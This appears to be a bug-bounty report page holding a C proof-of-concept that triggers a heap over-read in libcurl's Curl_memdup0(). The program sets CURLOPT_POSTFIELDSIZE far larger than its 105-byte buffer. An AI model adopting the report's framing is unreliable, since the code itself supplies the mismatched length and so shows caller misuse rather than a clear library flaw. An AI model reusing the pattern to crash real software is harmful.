堆缓冲区溢出在Curl_memdup0()中通过CURLOPT_COPYPOSTFIELDS/CURLOPT_POSTFIELDSIZE不匹配触发 | HackerOne报告 #3292590

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>

#define ACTUAL_SIZE 105
#define CLAIMED_SIZE 976909154L

int main(void) {
    printf("[+] libcurl Heap Buffer Overflow PoC\n");
    printf("[+] CURLOPT_COPYPOSTFIELDS vulnerability reproduction\n\n");

    /* 初始化libcurl */
    curl_global_init(CURL_GLOBAL_ALL);
    CURL *curl = curl_easy_init();

    if(!curl) {
        fprintf(stderr, "[!] Failed to initialize curl\n");
        return 1;
    }

    printf("[+] libcurl initialized successfully\n");

    /* 关键：在堆上分配缓冲区，而不是栈 */
    char *heap_buffer = (char *)malloc(ACTUAL_SIZE);
    if(!heap_buffer) {
        fprintf(stderr, "[!] Failed to allocate heap buffer\n");
        curl_easy_cleanup(curl);
        return 1;
    }

    /* 填充测试数据 */
    memset(heap_buffer, 'A', ACTUAL_SIZE - 1);
    heap_buffer[ACTUAL_SIZE - 1] = '\0';

    printf("[+] Allocated HEAP buffer: %d bytes at %p\n", ACTUAL_SIZE, (void*)heap_buffer);
    printf("[+] Buffer content: \"%.50s...\"\n", heap_buffer);

    /* 设置基本URL（实际上不会连接） */
    curl_easy_setopt(curl, CURLOPT_URL, "http://example.com");

    /* 设置POST模式 */
    curl_easy_setopt(curl, CURLOPT_POST, 1L);

    /* 漏洞触发 - 设置大小远大于实际缓冲区 */
    printf("[+] Setting CURLOPT_POSTFIELDSIZE to: %ld bytes\n", CLAIMED_SIZE);
    CURLcode res = curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, CLAIMED_SIZE);
    if(res != CURLE_OK) {
        fprintf(stderr, "[!] Failed to set POSTFIELDSIZE: %s\n", curl_easy_strerror(res));
        free(heap_buffer);
        curl_easy_cleanup(curl);
        return 1;
    }
    printf("[+] CURLOPT_POSTFIELDSIZE set successfully\n");

    /* 触发堆缓冲区溢出 */
    printf("[+] Calling CURLOPT_COPYPOSTFIELDS with %d-byte heap buffer...\n", ACTUAL_SIZE);
    printf("[!] This should trigger HEAP buffer overflow in Curl_memdup0()\n");
    printf("[!] AddressSanitizer should detect out-of-bounds read on HEAP\n\n");

    /* 这将导致Curl_memdup0()从ACTUAL_SIZE缓冲区读取CLAIMED_SIZE字节 */
    res = curl_easy_setopt(curl, CURLOPT_COPYPOSTFIELDS, heap_buffer);

    if(res == CURLE_OK) {
        printf("[?] CURLOPT_COPYPOSTFIELDS succeeded (unexpected if ASAN enabled)\n");
        printf("[?] The overflow may have occurred silently\n");
    } else {
        printf("[!] CURLOPT_COPYPOSTFIELDS failed: %s\n", curl_easy_strerror(res));
    }

    /* 清理 */
    free(heap_buffer);
    curl_easy_cleanup(curl);
    curl_global_cleanup();

    printf("[+] If you see this, the overflow was not detected\n");
    printf("[!] Run with AddressSanitizer: gcc -fsanitize=address poc.c -lcurl\n");

    return 0;
}